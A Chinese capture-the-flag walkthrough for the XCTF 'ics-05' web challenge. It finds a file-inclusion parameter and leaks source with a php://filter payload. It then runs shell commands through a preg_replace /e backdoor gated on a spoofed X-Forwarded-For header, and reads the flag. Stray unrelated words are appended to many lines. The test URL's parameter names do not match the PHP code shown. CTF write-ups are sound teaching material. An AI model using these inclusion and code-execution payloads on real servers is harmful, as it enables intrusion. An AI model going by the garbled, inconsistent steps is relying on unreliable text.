XCTF-ics-05

ics-05

  • 題目描述php

    其餘破壞者會利用工控雲管理系統設備維護中心的後門入侵系統ajax

  • 解題步驟函數

    • 用dirsearch和御劍掃了一下,只有index.php,嘗試了一邊,也只有index.php,也就是設備維護中心能夠進測試

    • 訪問index,顯示數據接口請求異常,經過network看到ajax404編碼

    • 看這頁面乾乾淨淨啥都沒有,挨着點一下,看有沒有隱藏功能點,顛倒左上角的設備維護中心的時候,頁面刷新了,注意到url發生了變化url

      /index.phpcode

      /index.php?page=index,同時在頁面中顯示出了index字符blog

      推測是文件包含接口

    • 訪問?page=index.php,頁面出現Ok字符字符串

    • 嘗試用僞協議進行編碼

      ?page=php://filter/read=convert.base64-encode/resource=index.php

      返回了源碼,下面是關鍵部分

      <?php
          
      if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
      
          echo "<br >Welcome My Admin ! <br >";
      
          $pattern = $_GET[pat];
          $replacement = $_GET[rep];
          $subject = $_GET[sub];
      
          if (isset($pattern) && isset($replacement) && isset($subject)) {
              preg_replace($pattern, $replacement, $subject);
          }else{
              die();
          }
      
      }
      ?>

      preg_replace函數有個特性,e模式下,當subject中有pattern匹配的字符串時,會把replacement看成代碼執行

      測試 :?pattern=/asd/e&replacement=system('ls')&subject=asd

    • ls發現flag目錄/s3chahahaDir/flag/flag.php

    • 用僞協議讀取?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

本站公眾號
   歡迎關注本站公眾號,獲取更多信息